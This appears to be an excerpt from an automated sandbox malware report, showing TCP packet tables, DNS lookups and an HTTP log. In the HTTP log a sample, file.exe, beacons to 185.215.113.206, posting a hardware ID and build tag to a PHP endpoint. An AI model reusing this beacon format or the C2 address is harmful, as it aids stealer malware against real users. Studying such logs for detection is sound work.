Nov 12, 2024 13:35:41.212069035 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212080002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212090015 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212100983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212105989 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212111950 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212138891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212138891 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212245941 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212258101 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212270021 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212281942 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212295055 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212306023 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212316036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212316036 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212317944 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.212354898 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.212390900 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.219396114 CET	443	49779	173.222.162.64	192.168.2.6
Nov 12, 2024 13:35:41.219466925 CET	49779	443	192.168.2.6	173.222.162.64
Nov 12, 2024 13:35:41.291358948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291373968 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291384935 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291446924 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291487932 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291527033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291538954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291544914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291584969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291584969 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291603088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291615009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291652918 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291661024 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291671991 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291697979 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291707993 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.291723967 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.291775942 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.316874981 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.316919088 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.316977024 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.317594051 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.317610025 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.317629099 CET	62214	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.317635059 CET	443	62214	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.320652008 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.321084976 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.321126938 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.321136951 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.321175098 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.322019100 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.322027922 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.322036028 CET	62215	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.322038889 CET	443	62215	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.323554993 CET	62221	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.323585987 CET	443	62221	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.323642015 CET	62221	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.325357914 CET	62221	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.325372934 CET	443	62221	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.331336021 CET	62222	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.331372023 CET	443	62222	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.331619024 CET	62222	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.331770897 CET	62222	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.331783056 CET	443	62222	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.343204975 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.348351002 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.515944004 CET	443	62216	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.516470909 CET	62216	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.516508102 CET	443	62216	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.516973019 CET	62216	443	192.168.2.6	13.107.246.45
Nov 12, 2024 13:35:41.516980886 CET	443	62216	13.107.246.45	192.168.2.6
Nov 12, 2024 13:35:41.619441986 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619458914 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619477987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619517088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619529963 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619540930 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619553089 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619627953 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619638920 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619642973 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619652033 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619687080 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619745016 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619796038 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619807005 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619817972 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619829893 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619839907 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619852066 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619859934 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619863987 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.619874954 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619934082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.619934082 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620016098 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620029926 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620093107 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620106936 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620119095 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620129108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620131016 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620148897 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620161057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620161057 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620304108 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620316029 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620326996 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620333910 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620338917 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620352030 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620362043 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620366096 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620378017 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620513916 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620515108 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620527983 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620544910 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620644093 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620656967 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620666981 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620677948 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620688915 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620701075 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620711088 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620717049 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620723009 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620739937 CET	80	51556	185.215.113.206	192.168.2.6
Nov 12, 2024 13:35:41.620739937 CET	51556	80	192.168.2.6	185.215.113.206
Nov 12, 2024 13:35:41.620739937 CET	51556	80	192.168.2.6	185.215.113.206

DNS Queries

Timestamp	Source IP	Dest IP	Trans ID	OP Code	Name	Type	Class	DNS over HTTPS
Nov 12, 2024 13:35:15.758089066 CET	192.168.2.6	1.1.1.1	0x89b8	Standard query (0)	www.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:15.758239031 CET	192.168.2.6	1.1.1.1	0xc9c8	Standard query (0)	www.google.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:20.424649000 CET	192.168.2.6	1.1.1.1	0x8b3f	Standard query (0)	apis.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:20.426786900 CET	192.168.2.6	1.1.1.1	0x34f7	Standard query (0)	apis.google.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:21.421026945 CET	192.168.2.6	1.1.1.1	0x966a	Standard query (0)	play.google.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:21.421406031 CET	192.168.2.6	1.1.1.1	0xaa5a	Standard query (0)	play.google.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:26.631984949 CET	192.168.2.6	1.1.1.1	0xdf2c	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:26.632440090 CET	192.168.2.6	1.1.1.1	0xc74a	Standard query (0)	ntp.msn.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:27.947968960 CET	192.168.2.6	1.1.1.1	0x9783	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:27.948719025 CET	192.168.2.6	1.1.1.1	0xe517	Standard query (0)	bzib.nelreports.net	65	IN (0x0001)	false
Nov 12, 2024 13:35:29.408123970 CET	192.168.2.6	1.1.1.1	0x389c	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.408310890 CET	192.168.2.6	1.1.1.1	0xd32e	Standard query (0)	sb.scorecardresearch.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:29.415097952 CET	192.168.2.6	1.1.1.1	0xc4d9	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.415915966 CET	192.168.2.6	1.1.1.1	0x4c0d	Standard query (0)	assets.msn.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:29.421396017 CET	192.168.2.6	1.1.1.1	0x4d8a	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.421907902 CET	192.168.2.6	1.1.1.1	0xd555	Standard query (0)	c.msn.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:29.433198929 CET	192.168.2.6	1.1.1.1	0x6a1e	Standard query (0)	api.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.433329105 CET	192.168.2.6	1.1.1.1	0x5c95	Standard query (0)	api.msn.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:30.399118900 CET	192.168.2.6	1.1.1.1	0x81da	Standard query (0)	clients2.googleusercontent.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:30.399596930 CET	192.168.2.6	1.1.1.1	0xebff	Standard query (0)	clients2.googleusercontent.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:31.419962883 CET	192.168.2.6	1.1.1.1	0x5690	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.421008110 CET	192.168.2.6	1.1.1.1	0xf4e3	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:31.421590090 CET	192.168.2.6	1.1.1.1	0x6fc0	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.421757936 CET	192.168.2.6	1.1.1.1	0x4781	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:31.428997993 CET	192.168.2.6	1.1.1.1	0xaf22	Standard query (0)	chrome.cloudflare-dns.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.429158926 CET	192.168.2.6	1.1.1.1	0x3391	Standard query (0)	chrome.cloudflare-dns.com	65	IN (0x0001)	false
Nov 12, 2024 13:35:36.805144072 CET	192.168.2.6	1.1.1.1	0x60ea	Standard query (0)	206.23.85.13.in-addr.arpa	PTR (Pointer record)	IN (0x0001)	false
Nov 12, 2024 13:35:41.140826941 CET	192.168.2.6	1.1.1.1	0x47d0	Standard query (0)	assets.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:41.187098026 CET	192.168.2.6	1.1.1.1	0x2be5	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.777290106 CET	192.168.2.6	1.1.1.1	0x7161	Standard query (0)	browser.events.data.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.780525923 CET	192.168.2.6	1.1.1.1	0x2a2b	Standard query (0)	c.msn.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.830929995 CET	192.168.2.6	1.1.1.1	0x3f9f	Standard query (0)	sb.scorecardresearch.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:44.708533049 CET	192.168.2.6	1.1.1.1	0x8693	Standard query (0)	r.msftstatic.com	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:37:27.996097088 CET	192.168.2.6	1.1.1.1	0xa56c	Standard query (0)	bzib.nelreports.net	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:37:41.273082972 CET	192.168.2.6	1.1.1.1	0x5b1a	Standard query (0)	ntp.msn.com	A (IP address)	IN (0x0001)	false

DNS Answers

Timestamp	Source IP	Dest IP	Trans ID	Reply Code	Name	CName	Address	Type	Class	DNS over HTTPS
Nov 12, 2024 13:35:15.765218973 CET	1.1.1.1	192.168.2.6	0x89b8	No error (0)	www.google.com		142.250.186.132	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:15.765238047 CET	1.1.1.1	192.168.2.6	0xc9c8	No error (0)	www.google.com			65	IN (0x0001)	false
Nov 12, 2024 13:35:20.431570053 CET	1.1.1.1	192.168.2.6	0x8b3f	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:20.431570053 CET	1.1.1.1	192.168.2.6	0x8b3f	No error (0)	plus.l.google.com		172.217.18.14	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:20.434492111 CET	1.1.1.1	192.168.2.6	0x34f7	No error (0)	apis.google.com	plus.l.google.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:21.428599119 CET	1.1.1.1	192.168.2.6	0x966a	No error (0)	play.google.com		142.250.185.206	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:26.638940096 CET	1.1.1.1	192.168.2.6	0xdf2c	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:26.639858961 CET	1.1.1.1	192.168.2.6	0xc74a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:26.769515991 CET	1.1.1.1	192.168.2.6	0x7042	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:26.798255920 CET	1.1.1.1	192.168.2.6	0xf7b0	No error (0)	bingadsedgeextension-prod-europe.azurewebsites.net	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:26.798255920 CET	1.1.1.1	192.168.2.6	0xf7b0	No error (0)	ssl.bingadsedgeextension-prod-europe.azurewebsites.net		94.245.104.56	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:27.955701113 CET	1.1.1.1	192.168.2.6	0x9783	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:27.955862045 CET	1.1.1.1	192.168.2.6	0xe517	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.415251017 CET	1.1.1.1	192.168.2.6	0x389c	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.415251017 CET	1.1.1.1	192.168.2.6	0x389c	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.415251017 CET	1.1.1.1	192.168.2.6	0x389c	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.415251017 CET	1.1.1.1	192.168.2.6	0x389c	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:29.421962976 CET	1.1.1.1	192.168.2.6	0xc4d9	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.423774958 CET	1.1.1.1	192.168.2.6	0x4c0d	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.428071022 CET	1.1.1.1	192.168.2.6	0x4d8a	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.429219007 CET	1.1.1.1	192.168.2.6	0xd555	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.440036058 CET	1.1.1.1	192.168.2.6	0x5c95	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:29.440083981 CET	1.1.1.1	192.168.2.6	0x6a1e	No error (0)	api.msn.com	api-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:30.406970024 CET	1.1.1.1	192.168.2.6	0x81da	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:30.406970024 CET	1.1.1.1	192.168.2.6	0x81da	No error (0)	googlehosted.l.googleusercontent.com		142.250.186.33	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:30.407994032 CET	1.1.1.1	192.168.2.6	0xebff	No error (0)	clients2.googleusercontent.com	googlehosted.l.googleusercontent.com		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:31.427366018 CET	1.1.1.1	192.168.2.6	0x5690	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.427366018 CET	1.1.1.1	192.168.2.6	0x5690	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.427742958 CET	1.1.1.1	192.168.2.6	0xf4e3	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 13:35:31.428423882 CET	1.1.1.1	192.168.2.6	0x6fc0	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.428423882 CET	1.1.1.1	192.168.2.6	0x6fc0	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.429116011 CET	1.1.1.1	192.168.2.6	0x4781	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 13:35:31.436079979 CET	1.1.1.1	192.168.2.6	0xaf22	No error (0)	chrome.cloudflare-dns.com		162.159.61.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.436079979 CET	1.1.1.1	192.168.2.6	0xaf22	No error (0)	chrome.cloudflare-dns.com		172.64.41.3	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:31.436093092 CET	1.1.1.1	192.168.2.6	0x3391	No error (0)	chrome.cloudflare-dns.com			65	IN (0x0001)	false
Nov 12, 2024 13:35:31.476217031 CET	1.1.1.1	192.168.2.6	0x8bf4	No error (0)	shed.dual-low.s-part-0017.t-0009.t-msedge.net	s-part-0017.t-0009.t-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:31.476217031 CET	1.1.1.1	192.168.2.6	0x8bf4	No error (0)	s-part-0017.t-0009.t-msedge.net		13.107.246.45	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:36.812443018 CET	1.1.1.1	192.168.2.6	0x60ea	Name error (3)	206.23.85.13.in-addr.arpa	none	none	PTR (Pointer record)	IN (0x0001)	false
Nov 12, 2024 13:35:41.148303032 CET	1.1.1.1	192.168.2.6	0x47d0	No error (0)	assets.msn.com	assets.msn.com.edgekey.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:41.193977118 CET	1.1.1.1	192.168.2.6	0x2be5	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:42.784421921 CET	1.1.1.1	192.168.2.6	0x7161	No error (0)	browser.events.data.msn.com	global.asimov.events.data.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:42.787475109 CET	1.1.1.1	192.168.2.6	0x2a2b	No error (0)	c.msn.com	c-msn-com-nsatc.trafficmanager.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:35:42.838049889 CET	1.1.1.1	192.168.2.6	0x3f9f	No error (0)	sb.scorecardresearch.com		18.244.18.122	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.838049889 CET	1.1.1.1	192.168.2.6	0x3f9f	No error (0)	sb.scorecardresearch.com		18.244.18.38	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.838049889 CET	1.1.1.1	192.168.2.6	0x3f9f	No error (0)	sb.scorecardresearch.com		18.244.18.27	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:42.838049889 CET	1.1.1.1	192.168.2.6	0x3f9f	No error (0)	sb.scorecardresearch.com		18.244.18.32	A (IP address)	IN (0x0001)	false
Nov 12, 2024 13:35:44.715173960 CET	1.1.1.1	192.168.2.6	0x8693	No error (0)	r.msftstatic.com	r-msftstatic-com.a-0016.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:37:28.003140926 CET	1.1.1.1	192.168.2.6	0xa56c	No error (0)	bzib.nelreports.net	bzib.nelreports.net.akamaized.net		CNAME (Canonical name)	IN (0x0001)	false
Nov 12, 2024 13:37:41.280358076 CET	1.1.1.1	192.168.2.6	0x5b1a	No error (0)	ntp.msn.com	www-msn-com.a-0003.a-msedge.net		CNAME (Canonical name)	IN (0x0001)	false

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.6	49709	185.215.113.206	80	5320	C:\Users\user\Desktop\file.exe

Timestamp	Bytes transferred	Direction	Data
Nov 12, 2024 13:35:06.554708958 CET	90	OUT	GET / HTTP/1.1 Host: 185.215.113.206 Connection: Keep-Alive Cache-Control: no-cache
Nov 12, 2024 13:35:07.470048904 CET	203	IN	HTTP/1.1 200 OK Date: Tue, 12 Nov 2024 12:35:07 GMT Server: Apache/2.4.41 (Ubuntu) Content-Length: 0 Keep-Alive: timeout=5, max=100 Connection: Keep-Alive Content-Type: text/html; charset=UTF-8
Nov 12, 2024 13:35:07.473685980 CET	413	OUT	POST /c4becf79229cb002.php HTTP/1.1 Content-Type: multipart/form-data; boundary=----JJJKFBAAAFHJEBFIEGID Host: 185.215.113.206 Content-Length: 211 Connection: Keep-Alive Cache-Control: no-cache Data Raw: 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 68 77 69 64 22 0d 0a 0d 0a 33 46 38 37 42 37 37 30 42 43 37 46 32 31 34 38 37 37 32 38 38 37 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 62 75 69 6c 64 22 0d 0a 0d 0a 6d 61 72 73 0d 0a 2d 2d 2d 2d 2d 2d 4a 4a 4a 4b 46 42 41 41 41 46 48 4a 45 42 46 49 45 47 49 44 2d 2d 0d 0a Data Ascii: ------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="hwid"3F87B770BC7F2148772887------JJJKFBAAAFHJEBFIEGIDContent-Disposition: form-data; name="build"mars------JJJKFBAAAFHJEBFIEGID--
